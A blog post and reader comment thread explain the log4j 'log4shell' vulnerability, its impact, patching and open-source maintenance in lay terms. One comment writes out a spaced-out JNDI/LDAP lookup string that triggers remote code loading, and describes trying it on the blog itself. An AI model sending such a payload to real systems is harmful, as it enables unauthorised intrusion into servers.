Come for the politics, stay for the snark.

Take hopelessness and turn it into resilience.

Accused of treason; bitches about the ratings. I am in awe.

We’ve had enough carrots to last a lifetime. break out the sticks.

Reality always lies in wait for … Democrats.

🎶 Those boots were made for mockin’ 🎵

Something needs to be done about our bogus SCOTUS.

In my day, never was longer.

“Cheese and Kraken paired together for the appetizer trial.”

Sitting here in limbo waiting for the dice to roll

fuckem (in honor of the late great efgoldman)

They are lying in pursuit of an agenda.

“Can i answer the question? No you can not!”

“The defense has a certain level of trust in defendant that the government does not.”

But frankly mr. cole, I’ll be happier when you get back to telling us to go fuck ourselves.

There are consequences to being an arrogant, sullen prick.

If you tweet it in all caps, that makes it true!

You can’t love your country only when you win.

The revolution will be supervised.

A consequence of cucumbers

Consistently wrong since 2002

American History and Black History Cannot Be Separated

Authoritarian republicans are opposed to freedom for the rest of us.

Whoever he was, that guy was nuts.

This really is a full service blog.

You are here: Home / Open Threads / ‘The Internet Is On Fire’

‘The Internet Is On Fire’

by | 133 Comments

This post is in: , ,

Late last week, the engineering team at Alibaba announced that they’d found a major vulnerability in a widely used software library. The library is called log4j, the vulnerability is named log4shell, and it has the potential to be very bad. With a lot of luck, you won’t see it all over the news, but in the event that you do, here’s a quick primer. Wired has a good longer piece, from which I stole this post title.

"The Internet Is On Fire"

Do I have to worry about log4j?

Not in so many words. Unless you’re a systems administrator, you probably aren’t running a (particularly) vulnerable machine, so there’s nothing you can do anyway. See a movie; hug your children.

How does it work?

"The Internet Is On Fire" 1
From the always excellent XKCD

log4j is logging software, that is, it writes down information about a running program so that developers can see how it’s working (or not working). Sometimes, when it sees a certain string, it says, “oh okay, let’s download a file from this arbitrary location and execute it.” An attacker, with fairly basic knowledge of what kind of computer they’re attacking, can use this to take control of the whole system*, just by saying hello over the internet. And log4j is used in many, many systems, systems where the admins might not even know about it, because it’s buried under a bunch of other software libraries. The little guy on the bottom right of the cartoon? Sometimes that’s log4j**.

Sounds bad!

It is! It’s worse than 2014’s Heartbleed, which resulted in the theft of, conservatively, tens of millions of identities. At the time, Heartbleed was widely considered to be the worst vulnerability ever found in the modern Internet. This distinction now belongs to log4shell. And just like with Heartbleed, there is probably nothing you, personally, can do about it.

How bad?

Above, I said that the attacker needs to have ‘fairly basic’ knowledge of the computer they’re attacking. This is because computers can’t execute any old arbitrary code–it has to be a Java binary written for the correct version of the Java Runtime Environment. This means that viral spread will be limited, at least until somebody figures out a way around this, which may happen in a matter of days. And if that happens… lots of very important computers will find themselves under the control of hackers.

Welp.

Yep.

Open thread!

*Or whatever sandbox Java may be limited to, if you’re lucky.

**log4j is maintained by the large Apache Software Foundation, but you get the idea.

Reader Interactions

133Comments

  2. 2.

    tom

    I work on a medical-related cloud app, and shit like this scares the hell out of me. We have a number of dependencies, and those dependencies have a number of dependencies, and so on. Something you don’t even know you have can leave you vulnerable.

  3. 3.

    jonas

    Being someone with absolutely no computer engineering background or clue about this shit…how easy is it to just, well, replace the logging software in your servers? Or does it require a complete teardown and rebuild that will leave your system down for days or weeks or something?

  4. 4.

    Villago Delenda Est

    The only secure computer is one still in the original unopened sealed shipping box.*

    *And we’re not really sure about that.

  5. 5.

    Brachiator

    Thanks very much for this.

    My understanding is that we, the average person, cannot do much about this. But it is a serious threat because it is in the wild and can easily be deployed. Also, as I understand it, a fix is relatively simple. Affected companies have to apply the fix.

    The podcast and YouTube tech show Daily Tech News Show has a good segment on this. The host, Tom Merritt, is very good at explaining tech issues to lay people.

    The explanation here is also very good. Again, kudos.

  6. 6.

    tom

    @jonas: patching it is not that difficult, although it could mean a service outage for a bit. The scarier thing is that a security flaw like this can lurk undetected for a long time.

  7. 7.

    Major Major Major Major

    @jonas: if you know exactly which software is vulnerable, it’s relatively easy to patch while you wait for a fixed version. Unless you’re using software/a version of it that won’t be fixed. And that’s if you know exactly what you’re dealing with.

    Of course, this might ruin your logs, which creates other headaches.

  8. 8.

    zzyzx

    @jonas: as someone who does a ton of patching in my job, for any given box, it’s reasonably trivial.

    HOWEVER knowing which boxes are running and need to be patched, less so. If you have some random server out there from 2009 that everyone’s forgotten about…

  12. 12.

    Roger Moore

    To put it simply, it’s an attack that lets random dude on the internet take over your machine if you’re running the vulnerable software. The only good side is that you probably aren’t vulnerable. The bad side is that there are companies that have your information that probably are vulnerable, so your information is going to get stolen.

  15. 15.

    Roger Moore

    @Villago Delenda Est:

    Backups can protect you from data loss.  They can’t protect you from someone taking over your computer and stealing your data or using the computer for something nefarious.  ETA: and backups absolutely will not protect you from a bug in your critical software.  If anything, you need to be super careful to patch everything after restoring from a backup, or you might reintroduce a bug you had previously fixed.

  16. 16.

    Starfish

    @jonas: The people who wrote the software that used log4j have to patch it. Some people are definitely on it, but some software projects do not get updated often or have been abandoned on the internet. Those are the projects everyone is worried about.

  17. 17.

    JustRuss

    I work in IT but am not a server admin, I kinda get what the exploit is doing but in a pretty general sense.  One of my colleagues who does know his stuff feels the threat is overblown, certain conditions have to be met for the exploit to work.  That said, our security team says some machines in our org have been exploited, but they were quickly identified and quarantined.  Whether any damage was done, I doubt we’ll ever be told.

  18. 18.

    Roger Moore

    @Starfish:

    Problems like this will often have a multi-stage response.  Once the problem has been discovered, the authors will come up with a quick and dirty solution, e.g. changing the configuration of vulnerable servers to shut down the part that’s vulnerable.  Vulnerable users can use that quick and dirty solution to protect themselves in the short run.  That will buy enough time for the authors to do a more thorough fix, e.g. solving the underlying problem with the code.  Once that’s done, users can roll out the full solution.

  20. 20.

    Another Scott

    @tom: Yup.

    I vaguely remember some old Linux distro that only came as source – you had to compile everything yourself.  Safe!  Secure!  You know what’s in it!

    Except, do you trust the compiler?  And all the libraries it uses?  And the editor you’re using to look at the code?  And your keyboard?  And the BIOS and ROMs on the PC that you’re using?  And the ROMs on all the networking switches you went through to download the source?  And the ROM on the DVD-reader you used because you didn’t trust the network?  And the USB stick you used because you didn’t trust the DVD-reader?  And…

    There is never going to be bug-proof, secure-for-all-time code of any complexity.  It’s a never-ending battle and IT security folks have about the most secure job prospects of any profession.  ;-)

    Cheers,
    Scott.
    (“Who briefly knew the guy who proved that you cannot guarantee that a computer system is virus-free.  (152 page .pdf)”)

  21. 21.

    Anoniminous

    The Internet is an obsolete spaghetti code freaking mess running on moronically silly hardware architecture. Some of us at the time* said basing everything on the von Neumann architecture was a recipe for disaster and – LO! – we’uns were right.

    * I’ve been told you won’t find it in the logs to which I respond not every conversation in the Wagon Wheel was recorded for posterity.

  23. 23.

    Roger Moore

    @Another Scott: ​
     

    I vaguely remember some old Linux distro that only came as source – you had to compile everything yourself. Safe! Secure! You know what’s in it!

    Gentoo does the compile everything yourself thing, though I don’t think they sell it as a security thing. It has two supposed advantages:

    1. You can pick the compiler flags you want, in theory matching them to your computer so you maximize performance. It’s not at all clear that ordinary users will do a good job of this, or that you will save effort in the long run, since you’re spending a lot of processor cycles doing all that optimization.
    2. You can pick exactly the components you want and need, so you can leave out optional stuff that tends to get included in precompiled distributions. Reducing the attack surface that way may result in some real security advantages.
  30. 30.

    Another Scott

    @Ten Bears: Java and Javascript aren’t the same.  IIRC, the Javascript developers deliberately chose the name to take advantage of Java’s huge popularity.

    HTH!

    Cheers,
    Scott.

  32. 32.

    Woodrow/asim

    @Another Scott: I vaguely remember some old Linux distro that only came as source – you had to compile everything yourself. Safe! Secure! You know what’s in it!

    Which one? And a lot of them are still active, including two I’ve used in past — Linux from Scratch, and Gentoo. Both still chugging along and compiling like the Devil. :) (ETA I missed @Roger Moore’s detailed response!)

    People scoff at these, and I will agree that these days they are overkill for even the use cases I did them for. But they have their place, esp. if you’re learning how to code kernel modules, or need to wring every last bit of capability from your hardware.

  33. 33.

    Ken

    @zzyzx: If you have some random server out there from 2009 that everyone’s forgotten about…

    “Great, we replaced all our servers in 2019.”

    “Er, yeah, but porting the code was too expensive, so they’re all running the old server code in docker containers…”

  36. 36.

    Anoniminous

    @Major Major Major Major:

    At the time the Harvard Architecture was possible.  Intel provided the ‘hooks’ in the x86 processors to separate program and data space – the single biggest cause of today’s problems.

    Today?  I don’t see any way to actually fix the problems.  The flaws are literally ‘written in silicon.’

  37. 37.

    oldster

    Suppose there is a week between the announcement of a problem and the implementation of the fix.

    And suppose that you are talking to ordinary, non-savvy users.

    Are there any things that you would advise against our doing during this week, actions that would heighten our vulnerability during the time before the patch is in?

    I don’t know, like, “this week is not the time to do your on-line banking. Wait till the patch is in next week.”

    Or, “this week is not the time to update your copy of Office.”

    Any advice?

  38. 38.

    Xecky Gilchrist

    Indeed, I work at a large tech company and we’ve been right on top of taking care of this. Unfortunately, it’s thrown a big wrench into getting anything else done bc log4j is so ubiquitous.

  45. 45.

    matt

    My company has spent the weekend patching everything like crazy. My office pretty much got everything done Friday. All you have to do is update to log4j 2.15.0.

  47. 47.

    oldster

    @Baud:

    That is always sage advice.

    Thanks, all. I will act on the information that there is nothing for me to do, by doing nothing.

  48. 48.

    Frank Wilhoit

    This is a tough one, and its toughness hinges upon the notion of the “single source of truth”, which is not merely an abstract architectural ideal.

    While most — very nearly all — commentary frames log4j’s remote-lookup feature as a bizarre and gobsmackingly idiotic mistake, it actually had, and has, an important rationale.

    What it does is allow a programmer to say, “if my code fails here, for this reason, then we must try to give the users and maintainers as much evidence and context as we can; the currently-definitive form of that help is governed (as it should be) and stored in an/the enterprise repository; here is a pointer to the Good Stuff, go (you, log4j, right now, at runtime) get it.”

    This is not foolish; it is an essential capability.  If the error-message context is not governed, it will devolve into any of (A) missing, (B) obsolete, (C) inappropriately humorous, (D) etc.  What do businesses care about?  Messaging, especially when things go wrong.  The error messages, more than likely, will be acted upon by consultants, who, for messaging purposes, are members of the public; and, again like as not, they will need to work with their counterparts at one or more business partners to get the problem fixed.

    The only remediation proposals I have seen are to defeat the capability altogether, rather than correct whatever oversight was made in its implementation.  Baby, bathwater, …

  53. 53.

    Woodrow/asim

    A few more points:

    1. Log4J is a major, major software library. So major, that when I used to talk about these issues, I specifically used this library as my example, because coders from all over knew it! Indeed, it has functional clones in other programming languages.
    2. As noted in the article , this is the library that (basically) tells you how your application is doing. So killing it kills a ton of insight into the overall health of your application. Not great.
    3. That said, part of the challenge is that Java can pull libraries within, basically, a “big bundle of compressed binaries”. So basic “search for the string ‘log4j'” won’t always work, depending on how the Java app is compiled. You really need a proper vulnerability scanner to make sure you see it’s presence.
    4. And, to be clear, this isn’t a typical “Internet” attack. It’s using a Java capability called JDNI. The JNDI capability in Java just needs a way to communicate; it could use smoke signals, if your Java app could translate it. :) And it’s JNDI in Java that’s basically a way to send any old command directly into the heart of your Java app (and more, but this is weird enough) and thus causing an issue.
    5. Finally — the poor fellow who’s been fixing this Log4J issue? The other folx who work on this critical library? Volunteers. There’s a whole discussion that is gonna be forced, now, on how healthy the open source model is for the long-term sustainability of the Internet, and the many apps hosted on it (or even off it, but using that software). It’s a great model for getting us where we are, but depends on a host of things that are clearly starting to break down at scale, in my opinion.
  55. 55.

    Bruce K in ATH-GR

    My favorite quote about computer security comes from the author Charles Stross:

    “Didn’t they know that the only unhackable computer is one that’s running a secured operating system, welded inside a steel safe, buried under a ton of concrete at the bottom of a coal mine guarded by the SAS and a couple of armoured divisions, and switched off?”

    — “The Concrete Jungle”, found in The Atrocity Archives

  57. 57.

    Woodrow/asim

    @oldster:

    Suppose there is a week between the announcement of a problem and the implementation of the fix.

    And suppose that you are talking to ordinary, non-savvy users.

    Are there any things that you would advise against our doing during this week, actions that would heighten our vulnerability during the time before the patch is in?

    I don’t know, like, “this week is not the time to do your on-line banking. Wait till the patch is in next week.”

    Or, “this week is not the time to update your copy of Office.”

    Any advice?

    Honestly? It 1000% depends on the problem. This specific issue is so backend that telling you to avoid a thing basically is saying “don’t use the Internet,” which is way overly panic-driven.

    In contrast, if you saw an “SSL cert” issue, that would be a good sign that something around authenticating to a website might be an issue, and it might — might — men you need to wait a bit, then change some password.

    Again: Maybe. It’s why keeping an eye on quality tech sites is useful — I prefer The Verge to WIRED, and deeper dives at Ars Tehcnica, but the honest truth is that there’s a wide breadth of potential issues, and the best way to navigate them is to pay attention to multiple news sources, and their reporting.

    I wish I had better news on this front.

  60. 60.

    Another Scott

    @Ken: Neat.  Thanks for the pointer.  Short and to the point, as one would expect from Thompson!

    Cheers,
    Scott.

  64. 64.

    Roger Moore

    @Frank Wilhoit:

    As I understand it, the problem isn’t just with the ability to run remote code.  The problem is that an attacker can control which remote code the system is supposed to run.  If you’re going to allow the system to run remote code, there should be some kind of control to limit it to your repository, and that shouldn’t be something an attacker can’t fiddle with.

  65. 65.

    Roger Moore

    @Ken:

    There are mitigations to cosmic rays.  Accidental bit flips are one reason servers tend to use ECC memory; it protects against a single bit flip.  Code signing will help with errors in code you download, since any change in the code will show up in a changed signature.  That’s mostly supposed to serve as a security measure against malicious changes, but usually protecting yourself against malice will also protect you from accident.

  66. 66.

    Bart

    Thing is, log4j isn’t a major library, it’s just one that is used in a ton of stuff. Which is bonkers, considering that it is basically maintained by one guy in his free time who’d actually love to work on it full-time, but can’t because only two people are sponsoring him on github, despite major corporations using that software.

    Oh, and apparently the vulnerability is in some outdated bit, which normally would have been removed ages ago, except that some of the users urged him to keep it in to ensure backwards compatibility with their software. (But of course they never paid him for that.)

    Honestly, I find some of the Java ecosystem absolutely nuts. Yeah Microsoft ain’t great, and in the past they’ve undercut companies. But the NuGet ecosystem is pretty robust and there are several well-supported logging packages.

    Don’t even get me started on node and npm. I still don’t get why I need to have a 500+ MB folder on my HD to store all the libraries I use (and their dependencies, and their dependencies’ dependencies ad infinitum) to make a single, simple Angular website which compiled into a handful of HTML and JS files which are combined a couple MBs tops. Oh, and one angry dude can break everything if some company decided to harass him: https://arstechnica.com/information-technology/2016/03/rage-quit-coder-unpublished-17-lines-of-javascript-and-broke-the-internet/ .

  67. 67.

    Major Major Major Major

    @Bart:

    Thing is, log4j isn’t a major library, it’s just one that is used in a ton of stuff

    Covered in the first sentence!

    I hate the javascript development ecosystem with a flaming passion, too. Typescript is pretty neat though.

  69. 69.

    EggOne

    @jonas: It is huge. Most  large scale software code is absolutely riddled with call outs to the diagnostic logging subsystem. It’s almost like asking how difficult it would be to replace all the nails in your wooden framed house.

  70. 70.

    Howard Campbell's Soup

    There’s a lot of “I can’t do anything” talk on this thread, but there is something you can and should do regularly, and now it’s more urgent:

    clean up your old passwords

    Make sure that you are not reusing any old throwaway or default passwords for any site or services that you care about (or that hackers might be able to make use of, either for profit or as a next step in an attack), and preferably, make sure that all you passwords for critical services (like banking and credit cards) are recently updated, high quality and distinct from one another,

    There will most likely be breaches will be at places without the staffing or know-how to fix this problem quickly – but  they will get some passwords from those early breaches, and anybody who reused a favorite password for everything on the web will be in for bad times.

     

    Related but different, a stupid question for the experts chiming in — isn’t the point of running in a JVM to prevent something like this? or am I missing something big?

  71. 71.

    EggOne

    @EggOne:

    @jonas: – I may have mistakenly interpreted your question. I took it as asking how difficult would it be to modify software that uses the log4j system to use a completely different logging subsystem. By far the easier approach is to patch your existing log4j system. This is still a big deal, but nothing like swapping it out for a completely different package.

  73. 73.

    Goku (aka Amerikan Baka)

    I don’t have much to comment on wrt the technical side of this story, but I would advise anyone concerned about their identities being stolen to call up the major credit reporting agencies and have your credit frozen. It’s pretty much the only to make sure criminals don’t open credit cards in your name

  75. 75.

    Cermet5

    @Villago Delenda Est: Did I mention Win 10’s “Mirror Backup” doesn’t really work? Yes, it demands a password to recover (return the mirror image copy) but no such password exists so it can’t reinstall all your files. Surprise! You are screwed! Worse, MS knows this and has done zero to fix it.

  76. 76.

    Fair Economist

    @Frank Wilhoit: Confusing error messages is a problem that needs fixing, but it’s downloading arbitrary code from an arbitrary string address that’s throwing the baby out with the bathwater. There are fixes.

  77. 77.

    cain

    @tom: 
    Yes toolchain security is a big thing when it comes to using open source software.
    That’s why it’s important to have strong communities around all your open source toolchains. I speak from experience. :-)

  78. 78.

    Woodrow/asim

    @Howard Campbell’s Soup: Related but different, a stupid question for the experts chiming in — isn’t the point of running in a JVM to prevent something like this? or am I missing something big?

    You’re missing something big. Look back at Frank Wilhoit’s explainer at #48. This is all being done within the JVM, and is basically making calls to the lower levels of same to ensure, if there’s an issue, you get the best information available from said JVM’s operation. It can also do other low-level things, but that’s why it was opened up.

    The trouble is that said capability was enabled by default for a time, which meant anyone who could craft the right string over a connection (not just Internet) could make those calls, as well. Major^4 is right as well, this should have been whitelisted at a minimum; not sure how they are mitigating the current version outside of turning it off.

    Anyway, as good a time as any to note that a Java Virtual Machine (JVM) has different goals and, thus, implementations than the Virtual Machines you get from, say, VMWare.

  79. 79.

    Fair Economist

    That xkcd cartoon is SO true. It shows up everywhere. One place it’s particularly noticeable is Minecraft modding, because modders drop out so fast. You can never update any modpack to a new version and often not even to a patch because at least one of the modders is now incommunicado and the mod can’t be updated.

  81. 81.

    cain

    @Woodrow/asim:

    • Finally — the poor fellow who’s been fixing this Log4J issue? The other folx who work on this critical library? Volunteers. There’s a whole discussion that is gonna be forced, now, on how healthy the open source model is for the long-term sustainability of the Internet, and the many apps hosted on it (or even off it, but using that software). It’s a great model for getting us where we are, but depends on a host of things that are clearly starting to break down at scale, in my opinion.

    It’s why you have community managers around those pieces of software. But if it is critical for a business then they need to invest in keeping it healthy. Sometimes the onus falls on the enterprise linux distros like Suse and Red Hat – who can fix them quickly for their OSes/customers.

  83. 83.

    Roger Moore

    @Howard Campbell’s Soup:

    Related but different, a stupid question for the experts chiming in — isn’t the point of running in a JVM to prevent something like this? or am I missing something big?

    Problems with memory management are a very common category of security problem.  Switching from a language with manual memory management (like C or C++) to one with automatic memory management (like Java, Python, or what have you) will avoid that kind of problem.  But it’s far from the only kind of security problem.  The big underlying error behind almost all these things is trusting input from an untrustworthy source.

  84. 84.

    Anoniminous

    I’d like to take this opportunity to humbly point out this is exactly why the Internet of Things is really fucking stupid.

  87. 87.

    Anoniminous

    @Roger Moore:

    Learned back in the BBS days* the default should be all outside input is from an untrustworthy source.

    *  Hey!  You kidz!  Quit smoking my grass!

  89. 89.

    JaySinWa

    Minecraft says there is something end users can do as well as people who run servers – Update client software. I don’t know if the client has the logging software, but I think plain text code injection has allowed the exploit to be triggered in servers, much like SQL injection.  So adding filters to text input may be a part of the mitigation or maybe just to stop the mad [computer] scientist experiments going on now.

    https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition

    End users may well help by keeping software updated.

  90. 90.

    Roger Moore

    @Anoniminous:

    That sounds about right.  Perl, of all languages, has a very useful “taint” mode, where anything from outside the program itself is considered tainted and will generate an error if it’s used for anything important.  Before you can use tainted data, you need to sanitize it somehow.  It’s limited- Perl isn’t smart enough to know if your sanitizing routing is adequate- but it’s useful for tracking to make sure unsanitized user input isn’t sneaking in somewhere it shouldn’t be.

  94. 94.

    cain

    I’m glad I skipped the whole Java thing even though it was the language when I got out of college. I did python and perl instead. I don’t think I’ve ever worked for a software company. Somehow it’s always been hardware gives me a lot of freedom jobwise. (eg I can always use a Linux laptop)

  95. 95.

    Hob

    @Frank Wilhoit:  While most — very nearly all — commentary frames log4j’s remote-lookup feature as a bizarre and gobsmackingly idiotic mistake, it actually had, and has, an important rationale…

    Your comment is not well informed.

    First, log4j was not designed with this particular capability— remote code execution— in mind, and I will eat my hat if anyone was intentionally using JNDI substitution in that particular way for logging. It was designed to integrate with JNDI for the general purpose of getting string parameters from an external source, typically an LDAP server providing some kind of information about the runtime environment (it would not normally be used for actual error message text, as your comment seems to imply, though I can’t quite tell what point you’re trying to make in your remarks about businesses and “messaging”). The fact that JNDI is an extremely general-purpose API that also supports remote code execution was something that the log4j maintainers did not think of, and that was indeed an oversight on their part. It’s a well-known problem with JNDI, but preventing it would not have required throwing the baby out with the bathwater as you said— log4j could easily have taken advantage of the JNDI features that developers are likely to actually want for logging without enabling the dangerous features, by checking the parameters more carefully before passing them to JNDI.

    Worse, as M4 pointed out, the log4j code does not even ensure that the application really wants to do a JNDI lookup, because it is allowing substitution within variable text. In other words, the application could be trying to put a plain string into the log message, derived from some kind of input it received, and if that string was maliciously crafted it could cause a JNDI lookup that the application did not intend at all. This is not even the equivalent of, for instance, an application leaving itself open to an SQL injection attack by blindly putting variable string content into its SQL query instead of using parameter substitution; it’s as if the application correctly used parameter substitution, but the SQL client library decided to just blindly throw those strings into the query anyway and allow them to contain query syntax instead of using them only as values, thereby defeating the whole purpose of parameter substitution. That part is absolutely log4j’s fault and there’s no excuse for it.

  96. 96.

    Ken

    @cain: The language doesn’t need github, you can write and run a “hello world” without it. But the useful libraries are in github, or other repos like k8s.io.

  97. 97.

    Hob

    @cain: Go itself does not depend on GitHub specifically. It uses the git tool as its way to get packages; they can be hosted on any git server, and when you tell Go to import a package you have to tell it the hostname of that server.

    GitHub happens to be a very popular place for people to host open-source Go packages, so if you’re building a program that uses packages that are hosted on GitHub, then you will see Go downloading them from there.

  98. 98.

    cain

    @Ken: If you’re going to create anything useful or moderately complex it seems that you need to grab libraries that are on github (or I suppose gitlab)

  100. 100.

    MobiusKlein

    @EggOne:  I took it as asking how difficult would it be to modify software that uses the log4j system to use a completely different logging subsystem.

     

    There are log packages that replace the Log4j ones – slf4j – and the log world in java is flexible enough to let you swap out the core of that in/out without a full remodel.

    But it can still be painful  and error prone.   We’re dealing with all that now at my office.

  101. 101.

    Goku (aka Amerikan Baka)

    @Anoniminous:

    I’d like to take this opportunity to humbly point out this is exactly why the Internet of Things is really fucking stupid.

    Its always seemed incredibly dangerous to me in the sense that if enough things were connected via the IOT, like say vehicles, traffic systems, etc, then an authoritarian government could try to kill political enemies and dissidents through that to make it look like “accidents”

    Don’t know how possible that is, but would make for a great sci-fi flick/book

  102. 102.

    Hob

    @Bart: Thing is, log4j isn’t a major library, it’s just one that is used in a ton of stuff. Which is bonkers, considering that it is basically maintained by one guy in his free time

    No, log4j is maintained by Apache and has many developers. Older versions of it were maintained by one guy.

    I think you may have misunderstood earlier messages that referred to a volunteer fixing this particular bug. That person is not the only developer; they happened to be the one who contributed this fix. It’s still true that the maintainers are basically doing this in their spare time, but it is not just someone’s garage project, there is a team process.

  104. 104.

    Bill Arnold

    @Another Scott:

    (“Who briefly knew the guy who proved that you cannot guarantee that a computer system is virus-free. (152 page .pdf)”)

    I actually read that dissertation, several decades ago.
    (Colorful character. Described recursive cryptographically-secure (SW) bootstrapping well before it was fashionable.)

  105. 105.

    Major Major Major Major

    If you were curious, performing this attack could be as simple as commenting (without spaces)

    $ { jndi: ldap:// my-malicious-code. jar }

    On a blog.

    I tried it without spaces and it blocked me, so, BJ is secure-ish at least.

  109. 109.

    Hob

    @cain: Even if you want to use some code that’s hosted on GitHub, you can still isolate your builds from GitHub by downloading all the things you want ahead of time, and configuring your development environment to use only the downloaded content.

    Ultimately if you’re using open-source code, it has to come from somewhere. You have to either trust the source, or download the code and inspect it (for instance by checksumming against a known good version, which Go can do for you). The differences between how Go modules work and how other package management systems work are basically 1. instead of a single predetermined source for packages, it is wherever the provider of each package decided to host it, and 2. unlike some languages that allow linking of already-compiled code, Go modules are provided as source code.

  111. 111.

    Ken

    @Hob: unlike some languages that allow linking of already-compiled code, Go modules are provided as source code.

    “It’s compiled, but we decided to keep some of the chief disadvantages of interpreted code.”

  113. 113.

    Major Major Major Major

    @Goku (aka Amerikan Baka): WordPress is PHP, so by itself (afaik, unless there’s a buried dependency) it should be fine. But they could be using a Java based reverse proxy server, or elasticsearch, or any number of things that would make the whole machine vulnerable.

    For the body of a comment… that vector appears to be fixed here.

    But there are so many vectors.

  116. 116.

    MobiusKlein

    It’s also worth noting that well designed systems don’t sit raw on the internet.
    Most of the time, there are firewalls that monitor incoming requests for malicious patterns like the jndi exploit.  Those get updated in hours.    Also well designed systems don’t allow random traffic from inside the firewall to the internet at large.   The log4j exploit needs the affected system to be allowed to call out to the attacker’s site.  Your host network should be set up with outbound gateways to monitor & restrict that traffic – especially for your most sensitive applications.

    The more difficult case will be desktop application that use Java, such as Minecraft – or backup software like Code42 : https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents

    Ugh.

  117. 117.

    Roger Moore

    @Goku (aka Amerikan Baka): 

    Its always seemed incredibly dangerous to me in the sense that if enough things were connected via the IOT, like say vehicles, traffic systems, etc, then an authoritarian government could try to kill political enemies and dissidents through that to make it look like “accidents”

    Realistically, things like traffic signals are already connected enough that an authoritarian government could do this. What IOT makes possible is for ordinary hackers to take over all kinds of stuff. Your IOT camera becomes a way for anyone with the right knowledge to spy inside your home. I can understand the value of connected stuff- it’s neat to be able to see people on your porch from work or turn on the lights before you get home- but connecting it directly the the internet and counting on its internal security is madness. At the very least, all that stuff should be hidden behind a very well defended home server.

  118. 118.

    Martin

    The XKCD comic doesn’t quite apply in this case. The developer of log4j is the Apache Foundation, one of the larger and experienced developers.

    My retirement spares me from most of this drama (apart from patching the family Minecraft server) but reports from work are that they started running scans immediately and are still finding systems that use log4j that they had no idea was using it. They number in the hundreds at least. They’ve learned something organizationally, though. They went from being small and effective to large and ineffective. They’ve implemented all of the bigness, but not the leadership to manage it. They know what’s vulnerable but there’s no leadership to take them through the process to fix it. I jokingly suggested that someone higher up needed to start writing tickets because they’re so well trained to respond to tickets, and well, that’s what they’re doing. ¯\_(ツ)_/¯

  120. 120.

    Fair Economist

    @Major Major Major Major: Yeah, the media had reported Minecraft’s vulnerability, probably because it will alarm lots of parents and draw clicks. I am wondering if Minecraft will update the 20 or so old versions still being used for existing servers because worlds or mods aren’t forward compatible. And then there’s the mods using log4j. As a past modder, I can say there are a LOT of mods with log4j. Most now abandonware. Fun.

  121. 121.

    J R in WV

    @Woodrow/asim: ​

    it’s using a Java capability called JDNI. The JNDI capability in Java just needs a way to communicate;

    OK, Woodrow/asim, which is it? JDNI or JNDI? Good stuff, but you spelt it two different ways. ETA: A single punctuation mark can make a ll the difference.

    How much of this is likely to be embedded in Ubuntu?

  122. 122.

    Ghost of Joe Liebling*s Dog

    @Another Scott: 

    Fred Cohen, I think? I’m envious; I got a lot of value from his book (not only the joke about the three envelopes), way back when…

  124. 124.

    LongHairedWeirdo

    The good thing about open source software is, once this vulnerability is known, it will be analyzed and fixed with Biden-like competence. The bad thing about open source software is, as the diagram illustrates, any one piece of it might be some boring piece of code no one has looked at or thought about in a decade, and can flame out with Trump-like spectacle. Thankfully, there is no movement to  “Make America Code As Badly As Trump Does Everything.” The ball caps would look almost as stupid as the MAGA ones.

  126. 126.

    Roger Moore

    @LongHairedWeirdo:

    The bad thing about open source software is, as the diagram illustrates, any one piece of it might be some boring piece of code no one has looked at or thought about in a decade, and can flame out with Trump-like spectacle.

    This problem is by no means restricted to Open Source software.  It’s just that people can look at Open Source software and see how rickety the foundation is.  With proprietary software, there are probably problems at least as bad buried in there, but everyone can pretend they don’t exist until some hacker starts exploiting them.

  131. 131.

    Villago Delenda Est

    OK everyone jumped on my post about backups without realizing that you need to back up your data, then restore the data to a freshly patched system that obviates the hack.  If you don’t have the data to restore, you’re seriously screwed.

  132. 132.

    Villago Delenda Est

    @Ken: I won’t give away the plot twist in the middle of the book, but my reaction to it was “this is a problem?”

  133. 133.

    West Coast Steve

    I’ve been dealing with this all week and we aren’t out of the woods yet. Apache updated Log4j three times this week because it takes about a day for someone to come up with a new new way to put a hole in this dyke.

    M4’s post may have been optimistic:

    • To carry out this attack you need to be able to get a string to a system that links an old version of the Log4j library. It doesn’t need to directly face the web and it doesn’t really matter how many hops it takes to get to the vulnerable application. Do you have a firewall in front of a load balancer in front of a pile of web servers in front application servers that then enque jobs to a message bus, and those jobs get picked up by worker servers that then write info to a database, and then overnight an analytics package comes in and tries to make sense of what got dumped in the database, and that analytics package uses the old Log4j? Congrats, you just got owned.
    • Firewalls don’t really help. Firewalls keep unexpected traffic from showing up. This one comes in through the mail slot. You’d need to parse all input for all applications that take any string input, and figure out if it’s OK. This rapidly becomes the halting problem.
    • The attacker doesn’t need to know too much about the target environment. The possibilities are enumerable so attack code can automate trying one of each until they get a bite.
    • As of Nov 1, Chinese companies were required to inform the government of any zero days found before announcing them to the world. Given Alibaba’s current relationship with the government they may have decided it wise to inform even before Nov 1. Who knows how long UFWD, PLA, and proxies have been exploiting this. It’s reasonable to assume that if those entities cared about your systems they took total control a month ago. How would you know if they did?
    • Your desktop is probably fine. Java on the desktop has been and continues to suck enough that people don’t write many desktop applications with it. On the other hand, every web and back end application deployed in the last 20 years probably uses it, and those that do are likely to use Log4j if they need anything non-trivial logging.
    • The only good news I see is that most people don’t use the feature in question, so it should be relatively easy to upgrade the library and/or turn off the functionality. For those who have business critical LoB software with this problem, “relatively” typically means a fairly extensive and cumbersome regression test pass to make sure you didn’t break payroll processing or whatever along the way. If you actually do use the functionality you not only have to disable it but also write some new way to get the information you want, what fun.

    Everything is Broken

    Look at it this way — every time you get a security update (seems almost daily on my Linux box), whatever is getting updated has been broken, lying there vulnerable, for who-knows-how-long. Sometimes days, sometimes years. Nobody really advertises that part of updates. People say “You should apply this, it’s a critical patch!” and leave off the “…because the developers fucked up so badly your children’s identities are probably being sold to the Estonian Mafia by smack addicted script kiddies right now.”

Comments are closed.